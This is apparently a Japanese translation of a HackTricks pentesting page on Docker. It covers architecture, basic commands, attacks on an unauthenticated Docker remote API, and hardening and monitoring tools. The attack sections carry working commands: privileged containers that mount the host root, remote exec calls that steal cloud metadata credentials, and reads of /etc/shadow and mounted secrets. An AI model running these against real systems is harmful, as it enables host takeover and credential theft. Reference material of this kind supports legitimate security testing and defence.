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ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

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Dockerの基礎

何ですか

Dockerはコンテナ化業界の最先端プラットフォームであり、継続的な革新を牽引しています。これにより、従来から未来志向までのアプリケーションの簡単な作成と配布が可能となり、さまざまな環境での安全な展開が保証されます。

基本的なDockerアーキテクチャ

  • containerd: これはコンテナのライフサイクルの包括的な管理を担当するコアランタイムであり、イメージの転送と保存、さらにはコンテナの実行、監視、ネットワーキングを担当します。containerdに関する詳細な洞察がさらに探求されます。
  • コンテナシムは、ヘッドレスコンテナの取り扱いにおいて中間業者として重要な役割を果たし、コンテナが初期化された後にruncからシームレスに引き継ぎます。
  • runc: 軽量で普遍的なコンテナランタイム機能で高く評価されており、OCI標準に準拠しています。これは、OCIガイドラインに従ってコンテナを起動および管理するためにcontainerdによって使用され、元のlibcontainerから進化しました。
  • grpcは、containerdとdockerエンジンの間の効率的な相互作用を確保するためにコミュニケーションを促進するために不可欠です。
  • OCIは、ランタイムとイメージのためのOCI仕様を維持する上で重要であり、最新のDockerバージョンはOCIイメージおよびランタイム標準の両方に準拠しています。

基本的なコマンド

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerdは、DockerやKubernetesなどのコンテナプラットフォームのニーズを満たすために特に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を簡素化することを目指しており、オペレーティングシステム固有の機能とシステムコールを抽象化しています。Containerdの目標は、ユーザーが必要とする基本的な機能のみを含めることであり、不要なコンポーネントを省略することを目指しています。ただし、この目標を完全に達成することは困難であると認識されています。

重要な設計上の決定の1つは、Containerdがネットワーキングを処理しないということです。ネットワーキングは、分散システムにおいて重要な要素と見なされ、Software Defined Networking（SDN）やサービスディスカバリなどの複雑さが、プラットフォームによって大きく異なります。そのため、Containerdはネットワーキングの側面をサポートするプラットフォームに管理させることにしています。

DockerはContainerdを利用してコンテナを実行しますが、ContainerdはDockerの機能の一部しかサポートしていないことに注意することが重要です。具体的には、ContainerdにはDockerに存在するネットワーク管理機能が欠けており、Dockerスワームの直接的な作成をサポートしていません。この違いは、Containerdがコンテナランタイム環境としての専門的な役割を強調し、より専門的な機能を統合するプラットフォームに委任していることを示しています。

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podmanは、Open Container Initiative (OCI)の標準に準拠したオープンソースのコンテナエンジンであり、Red Hatによって開発およびメンテナンスされています。デーモンレスアーキテクチャとrootlessコンテナのサポートなど、いくつかの独自の機能により、Dockerとは異なる特徴を持っています。これにより、ユーザーはルート権限なしでコンテナを実行できます。

PodmanはDockerのAPIと互換性があり、Docker CLIコマンドの使用が可能です。この互換性は、コンテナイメージのビルドに使用されるBuildahや、プッシュ、プル、およびインスペクトなどのイメージ操作に使用されるSkopeoなどのツールを含むエコシステムにも適用されます。これらのツールの詳細については、GitHubページで確認できます。

主な違い

  • アーキテクチャ：Dockerのクライアントサーバーモデルとは異なり、バックグラウンドデーモンなしで動作するPodman。この設計により、コンテナは起動したユーザーの権限で実行されるため、ルートアクセスが不要となり、セキュリティが向上します。

  • Systemd統合：Podmanはsystemdと統合されており、systemdユニットを介してコンテナを管理できます。これは、Dockerが主にDockerデーモンプロセスを管理するためにsystemdを使用するのとは対照的です。

  • Rootlessコンテナ：Podmanの重要な機能の1つは、コンテナを起動するユーザーの権限でコンテナを実行できることです。このアプローチにより、攻撃者が侵入したユーザーの権限のみを取得し、ルートアクセスを得ることができないため、コンテナ侵害に関連するリスクが最小限に抑えられます。

Podmanのアプローチは、ユーザー権限の管理と既存のDockerワークフローとの互換性を重視した、安全で柔軟なDockerの代替手段を提供しています。

{% hint style="info" %} PodmanはDockerと同じAPIをサポートすることを目指しているため、PodmanでもDockerと同じコマンドを使用できます。

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

基本情報

リモートAPIは、有効になっている場合、デフォルトで2375ポートで実行されています。デフォルトでは認証が必要ないため、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/（ルートディレクトリ）をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。

デフォルトポート: 2375

PORT    STATE SERVICE
2375/tcp open  docker

列挙

手動

Docker APIを列挙するためには、dockerコマンドや次の例のようにcurlを使用できます。

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

リモートDocker APIにdockerコマンドで接続できる場合、サービスとやり取りするために以前にコメントされたdockerコマンドのいずれかを実行できます。

{% hint style="info" %} export DOCKER_HOST="tcp://localhost:2375"を使用して、dockerコマンドで-Hパラメータを使用せずに設定できます。 {% endhint %}

速い特権昇格

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

時々、TLS エンドポイントで 2376 が見られます。docker クライアントで接続できないことがありますが、curl を使用して接続することが可能です。

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

自動

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

以下のページでは、Dockerコンテナから脱出する方法を見つけることができます：

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

これを悪用すると、コンテナから脱出することが可能であり、リモートマシンで弱いコンテナを実行し、そこから脱出してマシンを侵害することができます。

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

特権昇格

Dockerを使用しているホスト内にいる場合は、この情報を読んで特権を昇格しようとしてください。

実行中のDockerコンテナ内の秘密の発見

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env（環境変数セクション）をチェックしてシークレットを見つけることができます：

  • パスワード。
  • IPアドレス。
  • ポート。
  • パス。
  • その他...。

ファイルを抽出したい場合：

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Dockerのセキュリティ強化

Dockerのインストールと使用のセキュリティ強化

  • 現在のDockerインストールを調査するためにhttps://github.com/docker/docker-bench-securityツールを使用できます。
  • ./docker-bench-security.sh
  • 現在のDockerインストールを調査するためにhttps://github.com/kost/dockscanツールを使用できます。
  • dockscan -v unix:///var/run/docker.sock
  • 異なるセキュリティオプションで実行される場合のコンテナの権限を調べるためにhttps://github.com/genuinetools/amicontainedツールを使用できます。これは、コンテナを実行する際に一部のセキュリティオプションを使用することの影響を知るのに役立ちます：
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Dockerイメージのセキュリティ強化

  • 他のDockerイメージをスキャンして脆弱性を見つけるためにhttps://github.com/quay/clairのDockerイメージを使用できます。
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfileのセキュリティ強化

疑わしいアクティビティのログ記録

  • 実行中のコンテナで疑わしい動作を検出するためにhttps://github.com/falcosecurity/falcoツールを使用できます。
  • 次のチャンクでFalcoがカーネルモジュールをコンパイルして挿入する方法に注目してください。その後、ルールを読み込み、疑わしいアクティビティを記録を開始します。この場合、特権コンテナが2つ開始され、そのうち1つが機密マウントを持っていることが検出され、数秒後にコンテナ内でシェルが開かれたことが検出されました。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Dockerの監視

auditdを使用してDockerを監視できます。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

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